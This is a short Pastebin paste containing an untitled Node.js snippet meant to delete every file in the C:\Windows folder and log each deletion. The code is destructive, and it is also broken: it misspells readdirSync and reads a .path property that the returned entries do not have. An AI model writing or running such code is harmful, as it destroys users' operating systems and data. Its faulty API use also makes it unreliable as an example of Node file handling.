Advertisement
willyb321

Untitled

Jan 16th, 2018
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.14 KB | None | 0 0
  1. const fs = require('fs');
  2.  
  3. for (const i of fs.readDirSync('C:\\Windows')) {
  4. fs.unlinkSync(i.path);
  5. console.log(`Deleted ${i.path}`);
  6. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement